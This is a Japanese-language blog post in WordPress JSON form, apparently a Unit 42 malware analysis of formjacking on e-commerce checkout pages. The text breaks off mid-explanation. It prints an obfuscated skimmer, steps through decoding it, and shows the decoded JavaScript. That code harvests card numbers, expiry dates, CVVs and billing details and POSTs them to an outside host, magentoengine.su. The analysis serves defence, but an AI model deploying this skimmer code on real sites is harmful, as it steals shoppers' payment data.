{"id":106904,"date":"2020-04-28T00:28:14","date_gmt":"2020-04-28T07:28:14","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=106904"},"modified":"2020-04-28T00:29:25","modified_gmt":"2020-04-28T07:29:25","slug":"anatomy-of-formjacking-attacks","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/anatomy-of-formjacking-attacks\/","title":{"rendered":"\u8a73\u8aac \u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483 \u51e6\u7406\u306e\u6d41\u308c\u3068\u30c6\u30af\u30cb\u30c3\u30af"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u306e\u53f0\u982d\u306f\u591a\u304f\u306e\u70b9\u3067\u4eba\u3005\u306e\u751f\u6d3b\u306b\u30d7\u30e9\u30b9\u306b\u50cd\u3044\u3066\u304d\u307e\u3057\u305f\u3002\u3044\u307e\u3067\u306f\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u3067\u307b\u307c\u3069\u3093\u306a\u30b5\u30fc\u30d3\u30b9\u3067\u3082\u898b\u3064\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u3067\u3059\u304c\u540c\u6642\u306b\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u306e\u5229\u4fbf\u6027\u306f\u30de\u30eb\u30a6\u30a7\u30a2\u3067\u500b\u4eba\u306e\u6a5f\u5fae\u60c5\u5831\u3092\u76d7\u3080\u305f\u3081\u306e\u6249\u3082\u958b\u3044\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u6b8b\u5ff5\u306a\u304c\u3089\u30de\u30eb\u30a6\u30a7\u30a2\u4f5c\u6210\u8005\u306b\u3088\u308b\u3053\u3046\u3057\u305f\u6a5f\u4f1a\u306e\u60aa\u7528\u306f\u5897\u3048\u308b\u4e00\u65b9\u3067\u3059\u3002<\/p>\n<p>\u30b5\u30a4\u30d0\u30fc\u72af\u7f6a\u8005\u304c\u60aa\u610f\u306e\u3042\u308bJavaScript\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3057\u3066Web\u30b5\u30a4\u30c8\u3092\u30cf\u30c3\u30ad\u30f3\u30b0\u3057\u3001\u30b5\u30a4\u30c8\u306e\u30d5\u30a9\u30fc\u30e0\u30da\u30fc\u30b8\u6a5f\u80fd\u3092\u4e57\u3063\u53d6\u3063\u3066\u6a5f\u5fae\u306a\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3092\u53ce\u96c6\u3059\u308b\u300c\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u300d\u653b\u6483\u306f\u3001\u6700\u3082\u6025\u901f\u306b\u6210\u9577\u3057\u3066\u3044\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u306e1\u3064\u3067\u3059\u3002\u3053\u3046\u3057\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u306fEC\u30b5\u30a4\u30c8\u306e\u300c\u30c1\u30a7\u30c3\u30af\u30a2\u30a6\u30c8\uff08\u4f1a\u8a08\uff09\u300d\u30da\u30fc\u30b8\u3067\u30ad\u30e3\u30d7\u30c1\u30e3\u3057\u305f\u652f\u6255\u3044\u30d5\u30a9\u30fc\u30e0\u304b\u3089\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u306e\u8a73\u7d30\u305d\u306e\u4ed6\u306e\u500b\u4eba\u60c5\u5831\u3092\u76d7\u3080\u3088\u3046\u306b\u8a2d\u8a08\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30cf\u30c3\u30ad\u30f3\u30b0\u306b\u3088\u3063\u3066\u4fb5\u5bb3\u3055\u308c\u305fEC\u30b5\u30a4\u30c8\u306b\u30e6\u30fc\u30b6\u30fc\u304c\u77e5\u3089\u305a\u306b\u30a2\u30af\u30bb\u30b9\u3057\u305f\u5834\u5408\u3001\u30c1\u30a7\u30c3\u30af\u30a2\u30a6\u30c8\u30da\u30fc\u30b8\u3067\u5546\u54c1\u3092\u30ab\u30fc\u30c8\u306b\u5165\u308c\u3066\u30c1\u30a7\u30c3\u30af\u30a2\u30a6\u30c8\u3057\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u60c5\u5831\uff08\u540d\u524d\u3001\u4f4f\u6240\u3001\u96fb\u5b50\u30e1\u30fc\u30eb\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u756a\u53f7\u3001CVV\u3001\u6709\u52b9\u671f\u9650\u306a\u3069\uff09\u3092\u5165\u529b\u3059\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u305d\u3057\u3066\u30e6\u30fc\u30b6\u30fc\u304c\u300c\u30c1\u30a7\u30c3\u30af\u30a2\u30a6\u30c8\u300d\u3084\u300c\u9001\u4fe1\u300d\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u30e6\u30fc\u30b6\u30fc\u306e\u5165\u529b\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3001\u653b\u6483\u8005\u306e\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\uff08C2\uff09\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u5143\u306e\u767a\u6ce8\u3058\u305f\u3044\u306f\u5f71\u97ff\u3092\u53d7\u3051\u306a\u3044\u306e\u3067\u30e6\u30fc\u30b6\u30fc\u306f\u4e88\u671f\u3057\u305f\u3068\u304a\u308a\u306b\u88fd\u54c1\u3092\u53d7\u3051\u53d6\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u591a\u304f\u306e<a href=\"https:\/\/www.infosecurity-magazine.com\/opinions\/security-formjacking-1-1-1\/\">\u5927\u624bEC\u30b5\u30a4\u30c8<\/a>\u304c\u3053\u306e\u624b\u6cd5\u3067\u4fb5\u5bb3\u3055\u308c\u3066\u304a\u308a\u3001\u305d\u306e\u4e2d\u306b\u306fBritish Airways\u3001Ticketmaster\u3001Delta\u3001Newegg\u3001Topps.com Sports Collectibles\u306a\u3069\u3082\u542b\u307e\u308c\u307e\u3059\u3002<\/p>\n<p>\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u306e\u51e6\u7406\u306e\u6d41\u308c\u304c\u3069\u306e\u3088\u3046\u306a\u3082\u306e\u304b\u3092\u56f31\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_106848\" aria-describedby=\"caption-attachment-106848\" style=\"width: 1359px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-106848 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2020\/04\/word-image-68.png\" alt=\"\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u306e\u51e6\u7406\u306e\u6d41\u308c\" width=\"1359\" height=\"396\" \/><figcaption id=\"caption-attachment-106848\" class=\"wp-caption-text\">\u56f3 1. \u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u306e\u51e6\u7406\u306e\u6d41\u308c<\/figcaption><\/figure>\n<p>\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u7528\u30b3\u30fc\u30c9\u3092\u8a18\u8ff0\u3057\u3066\u305d\u308c\u3092\u4fb5\u5bb3\u3055\u308c\u305f\u30b5\u30a4\u30c8\u306b\u914d\u5099\u3059\u308b\u3053\u3068\u306f\u3001\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u306f\u305d\u308c\u307b\u3069\u96e3\u3057\u3053\u3068\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u3053\u308c\u306a\u3089\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u914d\u5099\u3084\u30b7\u30b9\u30c6\u30e0\u4fb5\u5bb3\u306e\u624b\u9593\u304c\u304b\u304b\u3089\u305a\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u60c5\u5831\u3092\u3059\u3070\u3084\u304f\u7c21\u5358\u306b\u76d7\u3080\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3068\u304f\u306b\u6628\u4ecaEC\u30b5\u30a4\u30c8\u30b5\u30fc\u30d3\u30b9\u306f\u975e\u5e38\u306b\u4eba\u6c17\u304c\u9ad8\u3044\u3053\u3068\u304b\u3089\u3053\u306e\u624b\u6cd5\u306f\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u306f\u975e\u5e38\u306b\u9b45\u529b\u7684\u3067\u3059\u3002<\/p>\n<p>\u305d\u3053\u3067\u672c\u7a3f\u3067\u306f\u3001\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u306e\u30b3\u30fc\u30c9\u306e\u3057\u304f\u307f\u306b\u3064\u3044\u3066\u8a73\u3057\u304f\u8aac\u660e\u3057\u3066\u3044\u304d\u307e\u3059\u3002\u306a\u304a\u3001\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u88fd\u54c1\u3092\u304a\u4f7f\u3044\u306e\u304a\u5ba2\u69d8\u306f\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002WildFire\u306f\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u691c\u51fa\u3057\u3066\u6b63\u3057\u304f\u8b58\u5225\u3057\u3001PANDB\u306fURL\u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u8b58\u5225\u3057\u307e\u3059\u3002<\/p>\n<h3>\u5178\u578b\u7684\u306a\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483<\/h3>\n<p>\u4ee5\u4e0b\u306f\u5178\u578b\u7684\u306a\u30d5\u30a9\u30fc\u30e0\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u653b\u6483\u304b\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u3059\u30022020\u5e744\u67088\u65e5\u6642\u70b9\u3067\u306f\u3001VirusTotal\u4e0a\u30673\u3064\u306e\u30a2\u30f3\u30c1\u30a6\u30a4\u30eb\u30b9\u30b5\u30fc\u30d3\u30b9\u306e\u307f\u304c\u3053\u306e\u30b3\u30fc\u30c9\u3092\u300c\u60aa\u610f\u304c\u3042\u308b\u300d\u3082\u306e\u3068\u3057\u3066\u691c\u51fa\u3057\u3066\u3044\u307e\u3057\u305f\u3002(SHA256:<a href=\"https:\/\/www.virustotal.com\/intelligence\/search\/?query=a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14\">a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14<\/a>)<\/p>\n<p>\u3053\u306e\u30b3\u30fc\u30c9\u306f\u975e\u5e38\u306b\u9577\u3063\u305f\u3089\u3057\u304f\u3001\u307e\u305f\u9ad8\u5ea6\u306b\u96e3\u8aad\u5316\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u5185\u5bb9\u3092\u8aad\u307f\u53d6\u308b\u306b\u306f\u5148\u306b\u96e3\u8aad\u5316\u3092\u89e3\u9664\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u4ee5\u4e0b\u306f\u305d\u306e\u5143\u3068\u306a\u3063\u305f\u30b3\u30fc\u30c9\u306e\u4e00\u90e8\u3067\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true \">window[\"payment_checkout1\"] = \r\n[\"W*!`[EnTa\/mKelU*R=R'3\/ngu8mpe\/rqxo7N_EcglaDrvtla5qoK`'!]\" \r\n[(785034646 *\r\n\"kNL7xIvgS.\\x85j}_K=\" [\"charCodeAt\"](2) + \r\n22.0)[\"toString\"]((\"Y^8ZH\/D:0$or5&lt;+\\x8aqU\" [\"charCodeAt\"](3) * 0 +\r\n36.0))](\/[\\!8ET\\\/W\\`Nl5vRDpgUqKx37]\/g, \"\"), \r\n\"+Ki&lt;(n1JpUuLtq[@i;dg*GZ=l%'+ckc0_5nfIu!Bm#bTexr-2'H]\" [(8.0 +\r\n\"Q#C|UZ$?hm)*s\" [\"charCodeAt\"](11) * 477238723)[\"toString\"]((3 * \r\n\"4%|6W5laMO\" [\"length\"] + 0.0))](\/[qLGUZ\\-\r\n\\@k\\#\\+2TfKJ0I\\(\\!H\\&lt;\\;\\%xlg15B]\/g, \"\"), \r\n\"0)*N[\/nsaOmve@*h=4'Nc0c6d_G5nKukm3'3]\" [(387097319 *\r\n\"~s\\x84\\x60u\\x89t1\\x80VC?L\\x85ZWmw\" [\"charCodeAt\"](11) + \r\n36.0)[\"toString\"]((\"Vu.\\x8a^'\\x81E\\x806\" [\"length\"] *\r\n3 + 1.0))](\/[0\\\/N3d6sh\\)4kv5\\@KOG]\/g, \"\")];<\/pre>\n<p>\u307e\u305a\u76ee\u306b\u5165\u3063\u305f\u306e\u304c\u6b21\u306e\u57fa\u672c\u69cb\u9020\u3067\u3057\u305f\u3002<\/p>\n<pre class=\"lang:default decode:true\">window[\"payment_checkout1\"] = [var1, var2, ...]<\/pre>\n<p>var1\u3092\u4f8b\u306b\u3068\u308a\u3001\u3053\u308c\u30923\u3064\u306e\u90e8\u5206\u306b\u5206\u89e3\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">[\"W*!`[EnTa\/mKelU*R=R'3\/ngu8mpe\/rqxo7N_EcglaDrvtla5qoK`'!]\"<\/span> \u306f\u6587\u5b57\u5217\u306e1\u3064\u3081\u306e\u90e8\u5206\u3067\u3059\u3002\u3053\u308c\u306f\u6697\u53f7\u5316\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">[(785034646 * \"kNL7xIvgS.\\x85j}_K=\" [\"charCodeAt\"](2) + 22.0)[\"toString\"]((\"Y^8ZH\/D:0$or5&lt;+\\x8aqU\" [\"charCodeAt\"](3) * 0 +36.0))]<\/span> \u306f2\u3064\u3081\u306e\u90e8\u5206\u3067\u3059\u3002\n<ol>\n<li>(<span style=\"font-family: 'courier new', courier, monospace;\">785034646 * \"kNL7xIvgS.\\x85j}_K=\" [\"charCodeAt\"](2) + 22.0<\/span>) \u3092\u8a08\u7b97\u3057\u3066 <span style=\"font-family: 'courier new', courier, monospace;\">59662633118<\/span>\u3092\u5f97\u307e\u3059\u3002<\/li>\n<li>(<span style=\"font-family: 'courier new', courier, monospace;\">\"Y^8ZH\/D:0$or5&lt;+\\x8aqU\" [\"charCodeAt\"](3) * 0 +36.0)<\/span>) \u3082\u8a08\u7b97\u3057\u3066<span style=\"font-family: 'courier new', courier, monospace;\">36<\/span>\u3092\u5f97\u307e\u3059\u3002<\/li>\n<li>\u3064\u307e\u308a2\u3064\u3081\u306e\u90e8\u5206\u306f(<span style=\"font-family: 'courier new', courier, monospace;\">59662633118).toString(36<\/span>)\u306b\u7b49\u3057\u304f\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u7d50\u679c\u306f\u300creplace\u300d\u3068\u3044\u3046\u6587\u5b57\u5217\u306b\u306a\u308a\u307e\u3059\uff08toString\u95a2\u6570\u306b\u3064\u3044\u3066\u306f<a href=\"https:\/\/www.w3schools.com\/jsref\/jsref_tostring_number.asp\">\u3053\u3061\u3089\u306e\u6587\u66f8<\/a>\u3092\u53c2\u7167\uff09\u3002<\/li>\n<\/ol>\n<\/li>\n<li>(<span style=\"font-family: 'courier new', courier, monospace;\">\/[\\!8ET\\\/W\\`Nl5vRDpgUqKx37]\/g, \"\"<\/span>) \u304c3\u3064\u3081\u306e\u90e8\u5206\u306b\u306a\u308a\u307e\u3059\u304c\u3001\u3053\u308c\u306f\u6b63\u898f\u8868\u73fe\u306e\u30d1\u30bf\u30fc\u30f3\u3067\u3059\u3002<\/li>\n<\/ul>\n<p>\u7d50\u679c\u7684\u306bvar1\u306f\"<span style=\"font-family: 'courier new', courier, monospace;\">xxxxx\".replace(\/[\\!8ET\\\/W\\`Nl5vRDpgUqKx37]\/g, \"\"<\/span>) \u3068\u7b49\u3057\u304f\u306a\u308b\u306e\u3067\u3001\u3053\u3053\u3067\u306f\u6b63\u898f\u8868\u73fe\u3092\u4f7f\u3063\u3066\u6587\u5b57\u5217\u3092\u5fa9\u53f7\u3057\u3066\u3044\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u5fa9\u53f7\u3055\u308c\u305fvar1\u306f<span style=\"font-family: 'courier new', courier, monospace;\">\"*[name*='numero_cartao']\"<\/span>\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u6700\u7d42\u7684\u306b\u3053\u306e\u30b3\u30fc\u30c9\u306e\u96e3\u8aad\u5316\u3092\u89e3\u9664\u3059\u308b\u3068\u3001\u6b21\u306e\u7d50\u679c\u304c\u5f97\u3089\u308c\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">window[\"payment_checkout1\"] = [\"*[name*='numero_cartao']\", \r\n\"input[id*='cc_number']\", \"*[name*='cc_num']\"]<\/pre>\n<p>\u6b21\u306e\u30b3\u30fc\u30c9\u306f\u5143\u306e\u30b3\u30fc\u30c9\u304b\u3089\u306e\u5225\u306e\u90e8\u5206\u3067\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">document[\"addEv\" + String.fromCharCode(101) + \"ntListen\" + \r\nString.fromCharCode(101) + \"r\"](\"lDKOQM9C4\r\n\/oSn&amp;tNesQnStjXL7Ao6aTdVse`d\" [(48.0 + \"7$bz?m|9\\x80c\\x88OpJI.{RdH\" \r\n[\"charCodeAt\"](7) * 427844405)[\"toString\"]\r\n((\"NC}1r\\x81W\" [\"length\"] * 4 + 3.0))](\/[4TlN9s6Sj\\`\\&amp;VKQA7X\\\/]\/g,\r\n\"\"), function(event) {\r\nsHv();\r\n});<\/pre>\n<p>\u3053\u306e\u30b3\u30fc\u30c9\u3082\u96e3\u8aad\u5316\u3092\u89e3\u9664\u3059\u308b\u3068\u6b21\u306e\u5185\u5bb9\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">document.addEventListener(\"DOMContentLoaded\", function() { sHv();}, \r\nfalse);<\/pre>\n<p>\u3053\u3046\u3057\u3066\u5143\u306e\u30b3\u30fc\u30c9\u306e\u6838\u5fc3\u90e8\u5206\u306e\u96e3\u8aad\u5316\u3092\u89e3\u9664\u3057\u305f\u7d50\u679c\u304c\u6b21\u306e\u30b3\u30fc\u30c9\u3067\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true\">window[\"payment_checkout1\"] = [\"*[name*='numero_cartao']\", \r\n\"input[id*='cc_number']\", \"*[name*='cc_num']\"]\r\nwindow[\"payment_checkout2\"] = [\"*[name*='expiracao_mes']\", \r\n\"*[name*='cc_exp_m']\", \"*[name*='expirationMonth']\"]\r\nwindow[\"payment_checkout3\"] = [\"*[name*='expiracao_ano']\", \r\n\"*[name*='cc_exp_y']\", \"*[name*='expirationYear']\"]\r\nwindow[\"payment_checkout4\"] = [\"*[name*='codigo_seguranca']\", \r\n\"input[id*='cc_cid']\", \"*[name*='cc_cid']\"]\r\n\r\nfunction hZy(keys, values) {\r\n     var r = [];\r\n     for (var i = 0; i &lt; keys.length; i++) {\r\n          r.push(encodeURIComponent(keys[i]) +\"=\"+ \r\nencodeURIComponent(values[i]))\r\n     }\r\n     return r.join(\"&amp;\");\r\n}\r\n\r\nfunction UWo(str, index, replacement) {\r\n     return str.substr(0, index) + replacement + str.substr(index + \r\nreplacement.length);\r\n}\r\n\r\nfunction F8S(str) {\r\n     var hex = \"\";\r\n     for (var i = 0; i &lt; str.length; i++) {\r\n          hex += str.charCodeAt(i).toString(16);\r\n     }\r\n     \/\/switch 2 bytes\r\n     for (var i = 0; i &lt; hex[\"length\"]; i += 2) {\r\n          var c1 = hex.substr(i, 1);\r\n          var c2 = hex.substr(i+1, 1);\r\n          hex = UWo(hex, i, c2);\r\n          hex = UWo(hex, i+1, c1);\r\n     }\r\n     return hex;\r\n}\r\n\r\nfunction wIW(post_data, success) {\r\n     var xhr = window[\"XMLHttpRequest\"] ? new XMLHttpRequest() : new \r\n     ActiveXObject(\"Microsoft.XMLHTTP\");\r\n     xhr.open(\"POST\", \"https:\/\/magentoengine.su\/stat.js\");\r\n     xhr.setRequestHeader(\"Content-Type\", \r\n\"application\/x-www-form-urlencoded\");\r\n     xhr.onload = function() {};\r\n     xhr.send(encodeURI(post_data));\r\n     return xhr;\r\n}\r\n\r\nfunction pa4(selectors) {\r\n     for (var i =0; i &lt; selectors[\"length\"]; i++) {\r\n          var selector = selectors[I];\r\n          var elem = document[\"querySelector\"](selector);\r\n          if (elem) return elem;\r\n     }\r\n     return false;\r\n}\r\n\r\nfunction LBM(sel) {\r\n     var el = document[\"querySelector\"](sel);\r\n     if (!el) return \"\"\r\n     return el[\"value\"];\r\n}\r\n\r\nfunction fdT(selectors) {\r\n     var el = pa4(selectors);\r\n     if (!el) return \"\"\r\n     return el[\"value\"];\r\n}\r\n\r\nfunction zTI() {\r\n     ...\r\n     var val_1 = fdT(window[\"payment_checkout1\"]);\r\n     var val_2 = fdT(window[\"payment_checkout2\"]);\r\n     var val_3 = fdT(window[\"payment_checkout3\"]);\r\n     var val_4 = fdT(window[\"payment_checkout4\"]);\r\n     if ((!val_1) || (!val_4) || (!val_2) || (!val_3)) {\r\n          return;\r\n     }\r\n     var val_5 = LBM(\"*[name='billing[firstname]']\");\r\n     var val_6 = LBM(*[name='billing[lastname]']\");\r\n     var val_7 = LBM(\"*[name='billing[street][]']\");\r\n     var val_8 = LBM(\"*[name='billing[city]']\");\r\n     var val_9 = LBM(\"*[name='billing[region_id]']\");\r\n     var val_10 = LBM(\"*[name='billing[postcode]']\");\r\n     var val_11 = LBM(\"*[name='billing[country_id]']\");\r\n     var val_12 = LBM(\"*[name='billing[telephone]']\");\r\n     var val_13 = LBM(\"*[name='billing[email]']\");\r\n     var keys = [];\r\n     var values = [];\r\n     keys.push(\"host\");\r\n     values.push(ant_host);\r\n     keys.push(\"number);\r\n     values.push(val_1);\r\n     keys.push(\"exp1\");\r\n     values.push(val_2);\r\n     keys.push(\"exp2\");\r\n     values.push(val_3);\r\n     keys.push(\"cvv\");\r\n     values.push(val_4);\r\n     keys.push(\"firstname\");\r\n     values.push(val_5);\r\n     keys.push(\"lastname\");\r\n     values.push(val_6);\r\n     keys.push(\"address\");\r\n     values.push(val_7);\r\n     keys.push(\"city\");\r\n     values.push(val_8);\r\n     keys.push(\"state\");\r\n     values.push(val_9);\r\n     keys.push(\"zip\");\r\n     values.push(val_10);\r\n     keys.push(\"country\");\r\n     values.push(val_11);\r\n     keys.push(\"phone\");\r\n     values.push(val_12);\r\n     keys.push(\"email\");\r\n     values.push(val_13);\r\n     keys.push(\"uagent\");\r\n     values.push(navigator.userAgent);\r\n     var en = F8S(hZy(keys, values));\r\n     if (en == window[\"ant_last_data\"]) return;\r\n     window[\"ant_last_data\"] = en;\r\n     values = \"touch=\"+ en;\r\n     wIW(values, false);\r\n}\r\n\r\nfunction yfJ() {\r\n     if (!(pa4(window[\"payment_checkout1\"]))) return;\r\n     var elems_all = [];\r\n     var selectors = [\"button[onclick*='.save']\", \r\n\"button[class*='checkout']\"];\r\n     for (var i = 0; i &lt; selectors.length; i++) {\r\n          var selector = selectors[I];\r\n          var elems = document.querySelectorAll(selector);\r\n          for (var j =0; j &lt; elems.length; j++) {\r\n               var elem = elems[j];\r\n               if (!(elems_all.includes(elem))) {\r\n                    elems_all.push(elem);\r\n               }\r\n          }\r\n}\r\n\r\n     for (var i = 0; i &lt; elems_all.length; i++) {\r\n          var elem = elems_all[I];\r\n          var dk = elem[\"getAttribute\"](\"ant_check\");\r\n          if (dk == \"1\") {\r\n               continue;\r\n          }\r\n          elem.addEventListent(\"click\", function() {\r\n               try {\r\n                    zTI();\r\n               } catch (err) {}\r\n          });\r\n          elem.addEventListent(\"mousedown\", function() {\r\n               try {\r\n                    zTI();\r\n          } catch (err) {}\r\n          });\r\n          elem[\"setAttribute\"](\"ant_check\", \"1\");\r\n     }\r\n\r\n}\r\n\r\nfunction sHv() {\r\n     if (window[\"ant_loaded\"]) return;\r\n     window[\"ant_loaded\"] = true;\r\n     yfJ();\r\n     window[\"ant_interval\"] = setInterval(function() {\r\n         <strong> yfJ()<\/strong>;\r\n     }, 7000);\r\n\r\n}\r\n\r\n<strong>document.addEventListener(\"DOMContentLoaded\", function() { sHv();}, \r\nfalse);<\/strong>\r\nwindow.addEventListener(\"load\", function() { sHv();}, false);<\/pre>\n<p>\u3053\u308c\u3067\u3088\u3046\u3084\u304f\u30a4\u30d9\u30f3\u30c8\u306e\u4e3b\u306a\u6d41\u308c\u304c\u308f\u304b\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<ol>\n<li>\u30ea\u30b9\u30ca\u30fc\u3092 \"<span style=\"font-family: 'courier new', courier, monospace;\">DOMContentLoaded<\/span>\" \u4e0a\u306b\u4f5c\u6210\u3057\u3001\u30a4\u30d9\u30f3\u30c8\u3092\"<span style=\"font-family: 'courier new', courier, monospace;\">load<\/span>\"\u3057\u3001\u30da\u30fc\u30b8\u306e\u30ed\u30fc\u30c9\u304c\u7d42\u308f\u3063\u305f\u3089<span style=\"font-family: 'courier new', courier, monospace;\">sHv<\/span>\u95a2\u6570\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u3053\u306esHv\u95a2\u6570\u306f\u30bf\u30a4\u30de\u30fc\u3092\u4f5c\u6210\u3057\u3066<span style=\"font-family: 'courier new', courier, monospace;\">yFj<\/span>\u95a2\u6570\u30927\u79d2\u3054\u3068\u306b\u5b9f\u884c\u3057\u307e\u3059\u3002<\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">yFj<\/span>\u95a2\u6570\u306f\u30da\u30fc\u30b8\u5185\u306e\u3059\u3079\u3066\u306e\u652f\u6255\u95a2\u9023\u30dc\u30bf\u30f3\u3092\u30b9\u30ad\u30e3\u30f3\u3057\u307e\u3059\u3002\u3053\u306e\u3055\u3044\u306b\u5229\u7528\u3055\u308c\u308b\u306e\u304c<span style=\"font-family: 'courier new', courier, monospace;\">\"button[onclick*='.save']\"<\/span> \u3068 <span style=\"font-family: 'courier new', courier, monospace;\">\"button[class*='checkout']\"<\/span>\u3067\u3059\u3002\u3053\u308c\u304c\u5b58\u5728\u3057\u3066\u3044\u308c\u3070\"<span style=\"font-family: 'courier new', courier, monospace;\">click<\/span>\"\u30ea\u30b9\u30ca\u30fc\u3001\"<span style=\"font-family: 'courier new', courier, monospace;\">mousedown<\/span>\"\u30ea\u30b9\u30ca\u30fc\u304c\u30a4\u30d9\u30f3\u30c8\u95a2\u6570<span style=\"font-family: 'courier new', courier, monospace;\">zTI<\/span>\u3092\u6307\u5b9a\u3057\u3066\u751f\u6210\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>\u30e6\u30fc\u30b6\u30fc\u304c\u95a2\u9023\u3059\u308b\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068zTI\u95a2\u6570\u304c\u30c8\u30ea\u30ac\u30fc\u3055\u308c\u3001zTI\u95a2\u6570\u306fdocument.querySelector (pa4\u95a2\u6570\u53c2\u7167)\u3092\u4f7f\u3063\u3066\u4e0b\u306eHTML\u8981\u7d20\u306e\u3069\u3093\u306a\u5024\u3067\u3042\u308c\u53ce\u96c6\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u5024\u306b\u306f\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u306e\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">window[\"payment_checkout1\"] = [\"*[name*='numero_cartao']\", \"input[id*='cc_number']\", \"*[name*='cc_num']\"]<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">window[\"payment_checkout2\"] = [\"*[name*='expiracao_mes']\", \"*[name*='cc_exp_m']\", \"*[name*='expirationMonth']\"]<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">window[\"payment_checkout3\"] = [\"*[name*='expiracao_ano']\", \"*[name*='cc_exp_y']\", \"*[name*='expirationYear']\"]<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">window[\"payment_checkout4\"] = [\"*[name*='codigo_seguranca']\", \"input[id*='cc_cid']\", \"*[name*='cc_cid']\"]<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<ul>\n<li>\u305d\u306e\u5f8c<span style=\"font-family: 'courier new', courier, monospace;\">hZy<\/span>\u95a2\u6570\u3068<span style=\"font-family: 'courier new', courier, 